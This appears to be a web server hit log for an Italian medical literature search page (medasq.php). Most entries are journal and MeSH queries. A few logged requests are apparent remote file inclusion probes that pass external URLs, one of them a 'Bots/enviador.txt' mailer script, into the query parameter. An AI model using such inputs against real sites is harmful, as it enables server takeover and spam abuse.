21: : 8-Ago-10 00:36: /medasq.php?z=(br j gen pract [ta] OR j am board fam pract [ta] OR arch fam med [ta] OR can fam physician [ta] OR j fam pract [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
21: : 29-Ago-10 00:25: /medasq.php?z=J+Intern+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 6-Set-10 06:51: /medasq.php?z=Semin+Hematol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
21: : 7-Set-10 02:08: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (autoimmune diseases [mesh] | autoimmun* [all] | dysimmun* [all] | disimmun* [all] | les | lupus [all] | rheumat* [all] | addison's [all] | graves' [all] | pemphig* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
21: : 28-Giu-10 03:15: /medasq.php?z=(diabetes [ta] OR j bone miner res [ta] OR diabetologia [ta] OR j clin endocrinol metab [ta] OR diabetes care [ta] OR clin endocrinol oxf [ta] OR psychoneuroendocrinology [ta] OR diabetes res clin pract [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
21: : 2-Set-10 06:16: /medasq.php?z=Dis+Esophagus&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 14-Ago-10 15:43: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (skin diseases [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
20: : 26-Ago-10 18:02: /medasq.php?z=Proc+Natl+Sci+Counc+Repub+China+B&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 19-Ago-10 09:25: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (skin diseases [mesh] | dermatos* [all] | dermatit* [all] | psoria* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Show&free=
20: : 25-Ago-10 20:57: /medasq.php?z=(arch ophthalmol [ta] OR ophthalmology [ta] OR am j ophthalmol [ta] OR br j ophthalmol [ta] OR eye [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
20: : 18-Ago-10 14:09: /medasq.php?z=Cell+Mol+Life+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 17-Ago-10 04:51: /medasq.php?z=J+Clin+Gastroenterol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 15-Ago-10 19:40: /medasq.php?z=Cancer+Biother+Radiopharm&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 15-Lug-10 04:26: /medasq.php?z=Clin+Chem+Lab+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 14-Ago-10 14:45: /medasq.php?z=Nutr J&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
20: : 17-Ago-10 22:46: /medasq.php?z=Curr+Opin+Allergy+Clin+Immunol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 2-Set-10 08:55: /medasq.php?z=Scand+J+Clin+Lab+Invest&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 6-Set-10 12:08: /medasq.php?z=Minerva+Cardioangiol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 20-Ago-10 02:49: /medasq.php?z=J+Exp+Ther+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 5-Set-10 21:24: /medasq.php?z=Ophthalmology&abstract=1&quanti=20&highlight=0&dovesiamo=160&daevidenziare=&azione=Journals&free=
20: : 25-Ago-10 20:56: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (diabetes mellitus [mesh] | diab* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
20: : 8-Giu-10 19:03: /medasq.php?z...3...
20: : 31-Ago-10 21:23: /medasq.php?z=Shock&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 2-Dic-09 17:44: /medasq.php?z=http://babycaleb.axspace.com/index.htm?
20: : 2-Set-10 16:14: /medasq.php?z=Eur+J+Med+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 25-Lug-10 02:41: /medasq.php?z=Padiatr+Padol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 17-Ago-10 00:28: /medasq.php?z=Ophthalmology&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
20: : 28-Ago-10 13:35: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Journals&free=
20: : 8-Lug-10 14:19: /medasq.php?z=http://204.2.183.2/babycaleb/picture.htm?
20: : 28-Ago-10 01:24: /medasq.php?z=BMC+Surg&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 8-Ago-10 12:20: /medasq.php?z=J Dent&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
20: : 3-Set-10 01:14: /medasq.php?z=Science&abstract=1&quanti=20&highlight=0&dovesiamo=140&daevidenziare=&azione=Journals&free=
20: : 13-Ago-10 11:37: /medasq.php?z=Europace&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 21-Lug-10 15:52: /medasq.php?z=Trends+Biochem+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 23-Ago-10 17:46: /medasq.php?z=Med+Clin+(Barc)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 7-Lug-10 16:31: /medasq.php?z=(gastroenterology [ta] OR hepatology [ta] OR gut [ta] OR j hepatol [ta] OR am j gastroenterol [ta] OR eur j gastroenterol hepatol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
20: : 7-Set-10 00:21: /medasq.php?z=Diabetes+Educ&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 17-Ago-10 21:04: /medasq.php?z=Neurology&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
20: : 14-Ago-10 22:15: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (inflammatory bowel diseases [mesh] | inflamm* bowel [all] | colitis ulcer* [all] | ulcer* colitis [all] | crohn [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
20: : 21-Ago-10 15:29: /medasq.php?z=Vopr+Med+Khim&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
20: : 1-Lug-10 16:47: /medasq.php?z=(radiology [ta] OR eur j nucl med [ta] OR AJR Am J Roentgenol [ta] OR radiol clin north am [ta] OR br j radiol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
19: : 28-Ago-10 01:19: /medasq.php?z=(clin res [ta] OR lancet [ta] OR ann intern med [ta] OR jama [ta] OR br med j [ta] OR arch intern med [ta] OR am j med [ta] OR am j clin nutr [ta] OR annu rev med [ta] OR med care [ta] OR ann med [ta] OR can med assoc j [ta] OR med j aust [ta] OR clin invest med [ta] OR j gen intern med [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
19: : 9-Mag-10 20:01: /medasq.php?z=BMC+Syst+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 17-Ago-10 22:22: /medasq.php?z=J+Child+Psychol+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 19-Lug-10 04:37: /medasq.php?z=Int+Breastfeed+J&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 14-Ago-10 15:22: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (hypertension [mesh] | hypertens* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
19: : 9-Mag-10 20:03: /medasq.php?z=Curr+Opin+Chem+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 12-Ago-10 04:37: /medasq.php?z=Can J Biochem&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Journals&free=
19: : 25-Ago-10 20:57: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 (mental disorders [majr])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
19: : 19-Ago-10 11:03: /medasq.php?z=N+Engl+J+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 29-Ago-10 21:09: /medasq.php?z=Trans+Assoc+Am+Physicians&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 27-Lug-10 11:39: /medasq.php?z="br+j+addict"[Journal]+OR+"alcohol+clin+exp+res"[Journal]+OR+"alcohol"[Journal]+OR+"j+stud+alcohol"[Journal]+OR+"addiction"[Journal]+OR+"alcohol+alcohol"[Journal]+OR+"drug+alcohol+depend"[Journal]+OR+"int+j+addict"[Journal])+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"%5
19: : 5-Set-10 19:19: /medasq.php?z=J+Cardiovasc+Nurs&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 30-Ago-10 18:47: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=160&daevidenziare=&azione=Show&free=
19: : 5-Set-10 21:14: /medasq.php?z=Microbiology&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 4-Ago-10 09:04: /medasq.php?z=Rev+Reprod&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 3-Set-10 01:44: /medasq.php?z=Chem+Biol+Interact&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 30-Ago-10 05:48: /medasq.php?z=cocaine+and+(disulfiram+or+disulphiram+or+antabuse)&abstract=0&quanti=20&highlight=1&daevidenziare=&dovesiamo=0&azione=Show
19: : 12-Giu-09 05:28: /medasq.php?z=(j orthop res [ta] OR phys ther [ta] OR spine [ta] OR osteoporos int [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
19: : 10-Mag-10 07:11: /medasq.php?z=Tohoku+J+Exp+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 19-Ago-10 20:34: /medasq.php?z=J+Thromb+Haemost&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 18-Ago-10 21:27: /medasq.php?z=FEBS+Lett&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 18-Ago-10 13:35: /medasq.php?z=Can+J+Vet+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 18-Ago-10 16:13: /medasq.php?z=Mech+Ageing+Dev&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 31-Ago-10 22:18: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (neoplasms [mesh] | neoplas* [all] | tumor* [all] | tumour* [all] | cancer* [all] | carcin* [all] | sarcom* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
19: : 5-Set-10 13:25: /medasq.php?z=Cardiologia&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 19-Ago-10 03:40: /medasq.php?z=Rev+Recent+Clin+Trials&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 17-Nov-09 04:31: /medasq.php?z=substance+related+disorders+[majr]+and+genetic+predisposition&abstract=1&quanti=50&highlight=2&daevidenziare=genetic+predisposition&dovesiamo=0&azione=Show
19: : 1-Set-10 00:09: /medasq.php?z=Recent+Pat+Biotechnol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 6-Set-10 01:50: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1300&daevidenziare=&azione=Show&free=
19: : 17-Ago-10 23:44: /medasq.php?z=Recent+Pat+Cardiovasc+Drug+Discov&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 2-Ago-10 17:42: /medasq.php?z=Farmaco+Sci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
19: : 22-Ago-10 20:19: /medasq.php?z=J+Hum+Hypertens&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 25-Mag-10 11:00: /medasq.php?z...abstract=1...
18: : 17-Ago-10 00:28: /medasq.php?z=Nutrition&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
18: : 18-Ago-10 21:34: /medasq.php?z=Urol+Int&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 9-Ago-10 15:30: /medasq.php?z=(fatty acids%252C omega 3 %255Bmesh%255D %257C omega-3 %255Ball%255D %257C eicosapentaen* %255Ball%255D %257C docosahexaen* %255Ball%255D) &abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
18: : 18-Ago-10 11:50: /medasq.php?z=Clin+Experiment+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 28-Ago-10 22:33: /medasq.php?z=Curr+Psychiatry+Rep&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 6-Set-10 14:51: /medasq.php?z=Pediatrics&abstract=1&quanti=20&highlight=0&dovesiamo=280&daevidenziare=&azione=Journals&free=
18: : 12-Ago-10 04:17: /medasq.php?z=(arch+otolaryngol+head+neck+surg+[ta]+OR+ann+otol+rhinol+laryngol+[ta]+OR+acta+otolaryngol+stockh+[ta]+OR+clin+otolaryngol+[ta]+OR+orl+j+otorhinolaryngol+relat+spec+[ta]+OR+j+laryngol+otol+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fiel
18: : 17-Ago-10 21:09: /medasq.php?z=Ophthalmology&abstract=1&quanti=20&highlight=0&dovesiamo=100&daevidenziare=&azione=Journals&free=
18: : 6-Set-10 07:44: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1800&daevidenziare=&azione=Show&free=
18: : 14-Ago-10 15:04: /medasq.php?z=Med+Biol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 14-Lug-10 13:50: /medasq.php?z=(am j resp crit care med [ta] OR crit care med [ta]) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=1480&daevidenziare=&azione=Show&free=
18: : 10-Giu-10 11:20: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen
18: : 6-Set-10 22:49: /medasq.php?z=Ann+Clin+Psychiatry&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 24-Lug-10 06:47: /medasq.php?z=Acta+Physiol+Hung&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 18-Ago-10 11:59: /medasq.php?z=Zentralbl+Veterinarmed+A&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 12-Ago-10 04:16: /medasq.php?z=(arch+gen+psychiatry+[ta]+OR+am+j+psychiatry+[ta]+OR+schizophr+bull+[ta]+OR+j+clin+psychiatry+[ta]+OR+br+j+psychiatry+[ta]+OR+psychosom+med+[ta]+OR+psychol+med+[ta]+OR+biol+psychiatry+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+F
18: : 6-Set-10 12:39: /medasq.php?z=Science&abstract=1&quanti=20&highlight=0&dovesiamo=280&daevidenziare=&azione=Journals&free=
18: : 14-Ago-10 22:14: /medasq.php?z=(fatty acids, omega 3 [majr]) %26 hyperlipidemia [majr&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
18: : 30-Ago-10 00:47: /medasq.php?z=Transfusion&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
18: : 7-Set-10 03:43: /medasq.php?z=Appl+Microbiol+Biotechnol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 14-Ago-10 22:14: /medasq.php?z=Allerg+Immunol+(Paris)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 25-Ago-10 20:46: /medasq.php?z=(fatty+acids%252C+omega+3+%255Bmesh%255D+%257C+omega-3+%255Ball%255D+%257C+eicosapentaen*+%255Ball%255D+%257C+docosahexaen*+%255Ball%255D)+&++(hyperlipidemia+%255Bmesh%255D+%257C+hyperlipid*+%255Ball%255D+%257C+hyperlipem*+%255Ball%255D+%257C+hyperlipaem*+%255Ball%255D+%257C+hypercholester*+%255Ball%255D+%257C+hypertriglycerid*+%255Ball%255D)&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
18: : 25-Ago-10 20:49: /medasq.php?z=(j natl cancer inst [ta] OR cancer res [ta] OR j clin oncol [ta] OR br j cancer [ta] OR int j cancer [ta] OR cancer treat rev [ta] OR breast cancer res treat [ta] OR cancer [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
18: : 18-Ago-10 04:22: /medasq.php?z=Z+Gesamte+Inn+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 12-Ago-10 11:13: /medasq.php?z=(ann+neurol+[ta]+OR+brain+[ta]+OR+neurology+[ta]+OR+arch+neurol+[ta]+OR+stroke+[ta]+OR+pain+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&daevidenziare=&a
18: : 5-Set-10 13:37: /medasq.php?z=Heart+Rhythm&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 23-Giu-10 18:40: /medasq.php?z=(j am soc nephrol [ta] OR kidney int [ta] OR am j kidney dis [ta] OR nephron [ta] OR clin nephrol [ta] OR nephrol dial transplant [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
18: : 18-Ago-10 04:14: /medasq.php?z=Nurs+Stand&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 31-Lug-10 01:56: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) %26 (skin diseases [mesh] | dermatos* [all] | dermatit* [all] | psoria* [all])&abstract=1&quanti=20&highlight=0&dovesiamo=160&daevidenziare=&azione=Show&free=
18: : 7-Set-10 09:57: /medasq.php?z=Int MS J&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Journals&free=
18: : 18-Ago-10 11:33: /medasq.php?z=Nutrition&abstract=1&quanti=20&highlight=0&dovesiamo=120&daevidenziare=&azione=Journals&free=
18: : 25-Ago-10 22:08: /medasq.php?z=J+Bioenerg+Biomembr&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 17-Ago-10 09:23: /medasq.php?z=Int+Ophthalmol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 25-Ago-10 20:49: /medasq.php?z=%2528br+j+gen+pract+%255Bta%255D+OR+j+am+board+fam+pract+%255Bta%255D+OR+arch+fam+med+%255Bta%255D+OR+can+fam+physician+%255Bta%255D+OR+j+fam+pract+%255Bta%255D+%2529+AND+%2528%2522clinical+trials%2522%255BMeSH+Terms%255D+OR+%2522clinical+trial%2522%255BText+Word%255D+OR+%2522meta+analysis%2522%255BMeSH+Terms%255D+OR+%2522meta+analysis%2522%255BText+Word%255D+OR+%2522guideline%2522%255BAll+Fields%255D+OR+%2522consensus+development+conference%2522%255BAll+Fields%255D+OR+systematic+%255Bsb%255D%2529&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Show
18: : 7-Set-10 18:12: /medasq.php?z=Rev+Saude+Publica&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 27-Mar-10 11:54: /medasq.php?z=http://www.klabs.re.kr/tmp/Bots/enviador.txt?&servidor=www.debernardis.it/medasq.php?z=¶=kbtcone@yahoo.com
18: : 8-Lug-10 13:17: /medasq.php?z=Nat+Rev+Urol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 27-Ago-10 16:45: /medasq.php?z=ZFA&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
18: : 2-Set-10 06:15: /medasq.php?z=BMC+Genomics&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 13-Ago-10 08:56: /medasq.php?z=Biosci+Biotechnol+Biochem&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 7-Ago-10 10:19: /medasq.php?z=Pediatrics&abstract=1&quanti=20&highlight=0&dovesiamo=80&daevidenziare=&azione=Journals&free=
17: : 12-Ago-10 11:13: /medasq.php?z=(am+j+clin+nutr+[ta]+OR+j+nutr+[ta]+OR+br+j+nutr+[ta]+OR+jpen+j+parenter+enteral+nutr+[ta]+OR+eur+j+clin+nutr+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH+Terms]+OR+"meta+analysis"[Text+Word]+OR+"guideline"[All+Fields]+OR+"consensus+development+conference"[All+Fields]+OR+systematic+[sb])&abstract=1&quanti=20&highlight=0&da
17: : 25-Ago-10 20:53: /medasq.php?z=(am j epidemiol [ta] OR am j public health [ta] OR j clin epidemiol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=60&daevidenziare=&azione=Show&free=
17: : 17-Ago-10 22:53: /medasq.php?z=Schweiz+Med+Wochenschr+Suppl&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 25-Ago-10 20:55: /medasq.php?z=(circulation [ta] OR j am coll cardiol [ta] OR arterioscler thromb vasc biol [ta] OR hypertension [ta] OR thromb haemost [ta] OR am j cardiol [ta] OR br heart j [ta] OR atherosclerosis [ta] OR j vasc surg [ta] OR angiology [ta] OR int angiol [ta] ) AND ("clinical trials"[MeSH Terms] OR "clinical trial"[Text Word] OR "meta analysis"[MeSH Terms] OR "meta analysis"[Text Word] OR "guideline"[All Fields] OR "consensus development conference"[All Fields] OR systematic [sb])&abstract=1&quanti=20&highlight=0&dovesiamo=40&daevidenziare=&azione=Show&free=
17: : 28-Ago-10 10:29: /medasq.php?z=J+Cancer+Res+Clin+Oncol&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 28-Ago-10 10:17: /medasq.php?z=Curr+Opin+Pulm+Med&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 12-Ago-10 07:35: /medasq.php?z=(clin+res+[ta]+OR+lancet+[ta]+OR+ann+intern+med+[ta]+OR+jama+[ta]+OR+br+med+j+[ta]+OR+arch+intern+med+[ta]+OR+am+j+med+[ta]+OR+am+j+clin+nutr+[ta]+OR+annu+rev+med+[ta]+OR+med+care+[ta]+OR+ann+med+[ta]+OR+can+med+assoc+j+[ta]+OR+med+j+aust+[ta]+OR+clin+invest+med+[ta]+OR+j+gen+intern+med+[ta]+)+AND+("clinical+trials"[MeSH+Terms]+OR+"clinical+trial"[Text+Word]+OR+"meta+analysis"[MeSH
17: : 22-Ago-10 04:02: /medasq.php?z=Alcohol&abstract=1&quanti=20&highlight=0&dovesiamo=20&daevidenziare=&azione=Journals&free=
17: : 17-Ago-10 23:01: /medasq.php?z=J+Assoc+Physicians+India&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 31-Ago-10 07:13: /medasq.php?z=(fatty acids, omega 3 [mesh] | omega-3 [all] | eicosapentaen* [all] | docosahexaen* [all]) & (autoimmune diseases [mesh] | autoimmun* [all] | dysimmun* [all] | disimmun* [all] | les | lupus [all] | rheumat* [all] | addison&
17: : 23-Lug-10 08:55: /medasq.php?z=J+Mammary+Gland+Biol+Neoplasia&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 6-Set-10 06:37: /medasq.php?z=Drugs+Exp+Clin+Res&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
17: : 18-Ago-10 13:52: /medasq.php?z=Trends+Neurosci&abstract=1&quanti=20&highlight=0&daevidenziare=&dovesiamo=0&azione=Journals
